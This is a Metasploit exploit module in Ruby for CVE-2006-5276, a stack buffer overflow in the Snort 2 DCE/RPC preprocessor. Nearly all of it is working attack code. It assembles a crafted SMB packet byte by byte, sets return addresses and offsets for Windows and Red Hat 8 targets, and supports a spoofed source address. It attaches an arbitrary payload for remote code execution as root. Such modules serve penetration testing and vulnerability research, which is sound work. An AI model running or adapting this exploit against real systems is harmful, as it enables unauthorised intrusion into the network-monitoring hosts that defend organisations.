Path: blob/master/modules/exploits/multi/ids/snort_dce_rpc.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Capture9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Snort 2 DCE/RPC Preprocessor Buffer Overflow',16'Description' => %q{17This module allows remote attackers to execute arbitrary code by exploiting the18Snort service via crafted SMB traffic. The vulnerability is due to a boundary19error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,20which may result a stack-based buffer overflow with a specially crafted packet21sent on a network that is monitored by Snort.2223Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.2425Any host on the Snort network may be used as the remote host. The remote host does not26need to be running the SMB service for the exploit to be successful.27},28'Author' => [29'Neel Mehta', # Original discovery (IBM X-Force)30'Trirat Puttaraksa', # POC31'Carsten Maartmann-Moe <carsten[at]carmaa.com>', # Metasploit win32'0a29406d9794e4f9b30b3c5d6702c708' # Metasploit linux33],34'License' => MSF_LICENSE,35'References' => [36[ 'OSVDB', '32094' ],37[ 'CVE', '2006-5276' ],38[ 'URL', 'http://web.archive.org/web/20070221235015/http://www.snort.org/docs/advisory-2007-02-19.html'],39[ 'URL', 'http://sf-freedom.blogspot.com/2007/02/snort-261-dcerpc-preprocessor-remote.html'],40[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']41],42'DefaultOptions' => {43'EXITFUNC' => 'thread',44},45'Payload' => {46'Space' => 390,47'BadChars' => "\x00",48'DisableNops' => true,49},50'Platform' => %w{win linux},51'Targets' => [52[53'Windows Universal',54{55'Platform' => 'win',56'Ret' => 0x00407c01, # JMP ESP snort.exe57'Offset' => 289, # The number of bytes before overwrite58'Padding' => 059}60],61[62'Redhat 8',63{64'Platform' => 'linux',65'Ret' => 0xbffff110,66'Offset' => 317,67'Padding' => 2868}69]70],71'Privileged' => true,72'DisclosureDate' => '2007-02-19',73'DefaultTarget' => 0,74'Notes' => {75'Reliability' => UNKNOWN_RELIABILITY,76'Stability' => UNKNOWN_STABILITY,77'SideEffects' => UNKNOWN_SIDE_EFFECTS78}79)80)8182register_options(83[84Opt::RPORT(139),85OptAddress.new('RHOST', [ true, 'A host on the Snort-monitored network' ]),86OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address'])87]88)8990deregister_options('FILTER', 'PCAPFILE', 'SNAPLEN', 'TIMEOUT')91end9293def exploit94open_pcap9596shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)9798p = buildpacket(shost, rhost, rport.to_i)99100print_status("#{rhost}:#{rport} Sending crafted SMB packet from #{shost}...")101102return unless capture_sendto(p, rhost)103104handler105end106107def buildpacket(shost, rhost, rport)108p = PacketFu::TCPPacket.new109p.ip_saddr = shost110p.ip_daddr = rhost111p.tcp_dport = rport112p.tcp_flags.psh = 1113p.tcp_flags.ack = 1114115# SMB packet borrowed from https://www.exploit-db.com/exploits/3362116117# NetBIOS Session Service, value is the number of bytes in the TCP segment,118# must be greater than the total size of the payload. Statically set.119header = "\x00\x00\xde\xad"120121# SMB Header122header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"123header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"124header << "\x00\x08\x30\x00"125126# Tree Connect AndX Request127header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"128header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"129header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"130header << "\x3f\x3f\x3f\x3f\x3f\x00"131132# NT Create AndX Request133header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"134header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"135header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"136header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"137header << "\x63\x00\x00\x00"138139# Write AndX Request #1140header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"141header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"142header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"143header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"144header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"145header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"146header << "\x2b\x10\x48\x60\x02\x00\x00\x00"147148# Write AndX Request #2149header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"150header << "\x00\x48\x00\x00\x00\xff\x01"151tail = "\x00\x00\x00\x00\x49\x00\xee"152153# Return address154eip = [target['Ret']].pack('V')155156# Sploit157sploit = make_nops(10)158sploit << payload.encoded159160# Padding (to pass size check)161sploit << make_nops(1)162163# The size to be included in Write AndX Request #2, including sploit payload164requestsize = [(sploit.size() + target['Offset'])].pack('v')165166# Assemble the parts into one package167p.payload = header << requestsize << tail << make_nops(target['Padding']) << eip << sploit168169p.recalc170171p172end173end174175176